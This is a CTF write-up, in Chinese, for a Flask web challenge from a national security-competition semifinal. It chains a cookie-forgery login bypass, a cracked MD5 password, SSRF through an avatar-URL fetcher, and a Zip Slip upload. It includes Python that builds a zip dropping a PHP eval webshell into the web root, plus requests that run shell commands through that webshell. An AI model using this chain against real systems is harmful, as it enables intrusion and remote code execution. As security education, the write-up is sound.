题目来源:第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛) 半决赛

一、附件分析

题目给了 Docker Compose 配置文件 docker-compose.yaml,其内容:

services:
web:
build: .
container_name: question-web
ports:
- "5000:5000"
expose:
- "80"
environment:
- PYTHONUNBUFFERED=1
- PYTHONDONTWRITEBYTECODE=1
- DB_PATH=/data/app.db
volumes:
- appdata:/data
read_only: true
tmpfs:
- /tmp:rw,nosuid,nodev,noexec,size=64m
- /app/uploads:rw,nosuid,nodev,noexec,size=128m,mode=0755
- /app/plugins:rw,nosuid,nodev,noexec,size=128m,mode=0755
- /app/static/uploads:rw,nosuid,nodev,noexec,size=128m,mode=0755
- /var/run/apache2:rw,nosuid,nodev,noexec,size=16m
- /var/lock/apache2:rw,nosuid,nodev,noexec,size=16m
restart: unless-stopped

volumes:
appdata:

从中我们可以得到一个关键信息:容器监听了 80 端口,但是这个端口并不会直接暴露给宿主机(不能直接通过“主机IP:80”进行访问),这可能意味着本题可能会用到 SSRF。

二、浏览页面 + 源码辅助分析

1、登入界面

访问:127.0.0.1:5000

页面会重定向到 /login,查看源码逻辑:

# index.py
@app.route('/')
def home():
if is_logged_in():
return flask.redirect(flask.url_for("dashboard"))
return flask.redirect(flask.url_for("login"))

通过 is_logged_in() 函数决定跳转到哪个页面,查看该函数的逻辑;

# index.py
def is_logged_in() -> bool:
return flask.request.cookies.get("visited") == "yes" and bool(flask.request.cookies.get("user"))

发现问题!它简单地通过 Cookie 中的两个参数决定用户是否已经登入,我们只需要伪造 Cookie 成:

Cookie: visited=yes;user=admin

即可绕过登入验证。

需要注意的坑点是,检验是在根目录即 127.0.0.1:5000/ 而不是在登入界面 127.0.0.1:5000/login,因此要抓的包是在根目录抓的:

file-20260325151846843

file-20260325151913807

因为源码中定义了装饰器 login_required

def login_required(view):
def wrapped(*args, **kwargs):
if not is_logged_in():
next_url = flask.request.full_path if flask.request.query_string else flask.request.path
return flask.redirect(flask.url_for("login", next=next_url))
return view(*args, **kwargs)

wrapped.__name__ = view.__name__
return wrapped

后续主界面的函数都被装饰器修饰:

@app.route("/dashboard")
@login_required
……
@app.route('/plugin/upload', methods=['GET', 'POST'])
@login_required
……
……

因此,后续操作都有 Cookie 的验证,若没有则会重返登入界面。

为了操作方便,可以使用 Burp 的 Session Handling Rules 功能。

首先,进入 Settings → Sessions → Session Handling Rules

file-20260325153619140

点击 Add 新建一条规则,在 Rule Actions 中点击 Add → Set a specific cookie or parameter value 填写:

  • Name:Cookie 名称
  • Value:Cookie 的值

还需要勾选下方的“If not ……”,并选择“cookie”,这意味着如果请求头的 Cookie 中如果没有该字段,则会自动添加。

file-20260325155237164

同理,设置另外一个:

file-20260325155438211

切换到 Scope 标签页,设置该规则作用的工具范围(Proxy、Repeater、Scanner 等)和 URL 范围

file-20260325155546901

点击 OK 保存。

现在,我们访问任何页面,Burp 都会帮我们带上指定的 Cookie了。

当然,这里还要另一种做法,也就是 MD5 碰撞,因为登入判断逻辑写在了源代码而不是数据库中:

@app.route('/login', methods=['GET', 'POST'])
def login():
if flask.request.method == 'POST':
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')

h1 = hashlib.md5(password.encode('utf-8')).hexdigest()
h2 = hashlib.md5(h1.encode('utf-8')).hexdigest()
next_url = flask.request.args.get("next") or flask.url_for("dashboard")

if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":
resp = flask.make_response(flask.redirect(next_url))
resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
resp.set_cookie('user', username, httponly=True, samesite='Lax')
return resp

return flask.render_template('login.html', error='用户名或密码错误', username=username), 401

return flask.render_template('login.html', error=None, username='')
  • 用户名:admin
  • 密码需要其哈希值与“7022cd14c42ff272619d6beacdc9ffde”相等

在 CMD5 上查询该值:

file-20260325160002251

得到密码为 secret。

2、About

还记得在看 YAML 文件时候得到的结论吗?(SSRF)

带着这个问题,我们可以看到 /about 页面的“头像远程 URL”的功能:

file-20260325160156631

尝试访问 80 端口,得到回显:

file-20260325160258020

也就是说,存在 SSRF 漏洞,对应代码:

def fetch_remote_avatar_info(url: str):
if not url:
return None

parsed = urllib.parse.urlparse(url)
if parsed.scheme not in {"http", "https"}:
return None
if not parsed.hostname:
return None

req = urllib.request.Request(url, method="GET", headers={"User-Agent": "question-app/1.0"})


try:
with urllib.request.urlopen(req, timeout=3) as resp:
content = resp.read()
return {
"content_snippet": content,
"status": getattr(resp, "status", None),
"content_type": resp.headers.get("Content-Type", ""),
"content_length": resp.headers.get("Content-Length", ""),
}
except Exception:
return None

仅校验协议是否为 httphttps,并没校验访问的地址,而且还将访问后的结果(content)返回了,并传作为模板引擎的上下文。

remote_info=fetch_remote_avatar_info(avatar_url)

通过模板引擎渲染给用户:

{% if remote_info %}
<div style="margin-top:8px; font-size:12px; opacity:.85;">
远程信息:
<code>type={{ remote_info.content_type or '?' }}</code>
<code>len={{ remote_info.content_length or '?' }}</code>
<code>len={{ remote_info.content_snippet or '?' }}</code>
</div>
{% endif %}

尝试读取一些常见的存放 flag 的目录:

file-20260325161720558

但是并没有结果。

于是想着:我们是否可以通过文件上传,上传木马文件,访问后获取 WebShell 呢?

3、文件上传

存在文件上传的地方共有两处,一个是 http://127.0.0.1:5000/plugin/upload,另一个是 http://127.0.0.1:5000/about,分别审查代码后发现,插件上传的地方存在 Zip Slip 漏洞:

@app.route('/plugin/upload', methods=['GET', 'POST'])
@login_required
def upload_plugin():
if flask.request.method == 'GET':
return flask.render_template('plugin_upload.html', error=None, ok=None, files=None)

file = flask.request.files.get('plugin')
if not file or not file.filename:
return flask.render_template('plugin_upload.html', error='请选择一个 zip 文件', ok=None, files=None), 400

filename = secure_filename(file.filename)
if not filename.lower().endswith('.zip'):
return flask.render_template('plugin_upload.html', error='仅支持 .zip 文件', ok=None, files=None), 400

saved = UPLOAD_DIR / f"{uuid4().hex}-{filename}"
file.save(saved)

dest = PLUGIN_DIR / f"{Path(filename).stem}-{uuid4().hex[:8]}"
dest.mkdir(parents=True, exist_ok=True)

try:
print(saved, dest)
extracted = safe_upload(saved, dest)
except Exception:
shutil.rmtree(dest, ignore_errors=True)
return flask.render_template('plugin_upload.html', error='解压失败:压缩包内容不合法', ok=None, files=None), 400

return flask.render_template('plugin_upload.html', error=None, ok='上传并解压成功', files=extracted)
def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
with zipfile.ZipFile(zip_path, 'r') as z:
for info in z.infolist():
target = os.path.join(dest_dir, info.filename)
if info.is_dir():
os.makedirs(target, exist_ok=True)
else:
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, 'wb') as f:
f.write(z.read(info.filename))

safe_upload 中,将压缩包中的条目一一取出(for info in z.infolist()),将路径拼接(os.path.join(dest_dir, info.filename))之后,未对 target 进行校验,就直接写入指定目录中。

用 Python 构造恶意 Zip:

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr("../../../var/www/html/shell.php", b"<?php @eval($_GET[1]); ?>")

with open("payload.zip", "wb") as f:
f.write(zip_buffer.getvalue())

为什么用“../../../var/www/html/shell.php”作为文件条目呢?

原因有:

  • 前面的“../”是为了利用 Zip Slip 实现目录穿越,写木马于指定目录
  • 目标为“/var/www/html”是因为:
    • 80 端口起的是 Apache,默认工作目录就是 /var/www/html(而且在Dockerfile 中也有体现)
    • 我们的最终目的是通过 SSRF 访问 80 端口下的木马文件(shell.php

将生成的 payload.zip 上传。

经服务器一解压,一存放,在指定目录下就有了一句话木马文件(shell.php)。

三、WebShell

通过 SSRF 访问木马文件,并与之交互得到信息。

测试:

file-20260325175103948

测试成功,木马可用,接下来就是查找文件了,看看根目录下有没有文件:

http://127.0.0.1/shell.php?1=system('ls%20/');

file-20260325175339680

发现 flag 就在根目录下,直接读取:

http://127.0.0.1/shell.php?1=system('cat%20/flag');

得到 flag:

file-20260325175429093